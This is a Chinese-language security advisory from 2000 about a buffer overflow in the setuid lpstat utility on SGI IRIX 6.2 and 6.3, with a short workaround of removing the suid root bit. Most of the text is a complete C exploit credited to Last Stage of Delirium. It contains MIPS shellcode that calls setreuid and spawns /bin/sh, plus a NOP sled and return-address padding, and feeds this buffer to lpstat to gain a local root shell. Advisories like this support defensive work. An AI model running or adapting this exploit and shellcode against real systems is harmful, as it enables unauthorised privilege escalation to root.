发布日期：2000-08-04
更新日期：2000-08-04

受影响系统：

    SGI IRIX 6.3
    SGI IRIX 6.2

不受影响系统：

    SGI IRIX 6.5.8
    SGI IRIX 6.5.7
    SGI IRIX 6.5.6
    SGI IRIX 6.5.4
    SGI IRIX 6.5.3m
    SGI IRIX 6.5.3f
    SGI IRIX 6.5.3
    SGI IRIX 6.5.2m
    SGI IRIX 6.5.1
    SGI IRIX 6.4

描述：

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某些版本IRIX下的lpstat存在缓冲区溢出。lpstat用于检查打印机状态，在处理命令
行参数时未做长度检查，用户可以提供超长字符串造成缓冲区溢出。

<* 来源：LSD contact@lsd-pl.net *>


测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
/*## /bin/lpstat                                                             #*/

#define NOPNUM 468
#define ADRNUM 300
#define PCHNUM 300

char setreuidcode[] =
    "\x30\x0b\xff\xff"    /* andi    $t3,$zero,0xffff     */
    "\x24\x02\x04\x01"    /* li      $v0,1024+1           */
    "\x20\x42\xff\xff"    /* addi    $v0,$v0,-1           */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "\x30\x44\xff\xff"    /* andi    $a0,$v0,0xffff       */
    "\x31\x65\xff\xff"    /* andi    $a1,$t3,0xffff       */
    "\x24\x02\x04\x64"    /* li      $v0,1124             */
    "\x03\xff\xff\xcc"    /* syscall                      */
;

char shellcode[] =
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[] =
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[] = "\x24\x0f\x12\x34";

main ( int argc, char * argv[] )
{
    char buffer[10000], adr[4], pch[4], *b;
    int  i;

    printf( "copyright LAST STAGE OF DELIRIUM nov 1998 poland  //lsd-pl.net/\n" );
    printf( "/bin/lpstat for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n" );
    *( ( unsigned long * )adr ) = ( *( unsigned long ( * ) () )jump)()
                                  + 8888 + 1364 + 140 - 15012;
    *( ( unsigned long * )pch ) = ( *( unsigned long ( * ) () )jump)()
                                  + 8888 + 140 + 544 + 32748;
    b    = buffer;
    *b++ = 0xff;
    for ( i = 0; i < NOPNUM; i++ )
    {
        *b++ = nop[ i % 4 ];
    }
    for ( i = 0; i < strlen( setreuidcode ); i++ )
    {
        *b++ = setreuidcode[ i ];
    }
    for ( i = 0; i < strlen( shellcode ); i++ )
    {
        *b++ = shellcode[ i ];
    }
    for ( i = 0; i < ADRNUM; i++ )
    {
        *b++ = adr[ i % 4 ];
    }
    for ( i = 0; i < PCHNUM; i++ )
    {
        *b++ = pch[ i % 4 ];
    }
    *b = 0;
    execl( "/bin/lpstat", "lsd", "-n", buffer, 0 );
}



建议：

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暂无
临时解决办法：
去掉它的suid root属性

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